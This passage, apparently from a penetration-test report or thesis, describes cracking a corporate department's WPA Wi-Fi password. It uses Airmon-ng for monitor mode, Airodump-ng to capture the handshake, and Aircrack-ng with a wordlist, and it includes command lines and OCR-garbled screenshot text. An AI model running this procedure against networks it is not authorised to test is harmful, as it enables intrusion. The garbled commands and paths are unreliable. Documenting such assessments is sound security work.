In this attack, wireless network password of IT department of a corporate
company was cracked by the help of tools “Airmon-ng”, “Airodump-ng” and
“Aircrack-ng” from inside the network. Firstly, wireless NIC of the attacker side was
taken to the monitoring mode by starting Airmon-ng on relevant NIC. If other
processes were listed then each of them must be terminated by “ki11” command
(Fig. 4.32).

root@msckl: ~ e 0 0

Dosya Duzenle Gorunum Ara Ucbinm Yardim

5 ng after
eriod of time, you may want to kill (some of) them

d. RTL81S91S

Jwlan@ on [phyB]wlan
Omon)

~ [phy0]wlang)

Figure 4.32 Monitoring mode with Airmon-ng

From now on, the sniffer NIC was set to “wlanOmon” mode. The next thing was
starting Airodump-ng tool on “wlanOmon”. This was done for obtaining the

wireless networks across that department. Here, in this position with this command,
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the “BSSID” name of the wireless network and the broadcasting channel were taken
(Fig. 4.33). The next step was used to start for finding 4-way handshake on relevant
“BSSID” and “channel” with wlanOmon. Besides, if successful handshake was
captured, all information were written to the CAP file to

“root/Masailistii/airties” location. This is also shown in Figure 4.33.

root@msckl: ~ @ ® ©

Dosya Dizenle Gorunim Ara Ugbinm Yardim

CIPHER AUTH ESSIC

PSK Air
PSk

unconfigured
hirTies Air5442

g --bssid BB8:41:FC:10:C2:33 -y oot /M: O/airties wla
ignore-negative _-H

Figure 4.33 The List of all wireless networks with Airodump-ng

This section was used to listen the wireless network and try to find successful
WPA handshake. This part consumes more time, because the access point broadcasts
beacons and for cracking this, anyone have to capture successful handshake. No

connection will produce no handshake.
Here, the successful WPA handshake was found and written to a CAP file for

cracking with Aircrack-ng tool. By the way, there were any IPS or IDS systems in

the network. This process is shown in Figure 4.34.
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root@msckl: ~ e 00

Dosya Dizenle Gorunum Ara Ugbirim Yardim

13:21 ][ IWPA handshake: 88:41:FC:18:C2:33

#Data, #s CH MB

Figure 4.34 Finding successful WPA handshake

With the following code, Aircrack-ng tool was used to crack CAP file with a

dictionary file named “general.txt”.

aircrack-ng -w /root/Masatustii/wordlist/dogum. txt

/root/Masalistii/airties-01.cap

Cracking process depends on the used your dictionary file and the strength of the
wireless network password. In this attack, after testing 22696 keys in 1 minute and
32 seconds, the key was found successfully and shown in Figure 4.35 in a red box.

The found password was censored for security reason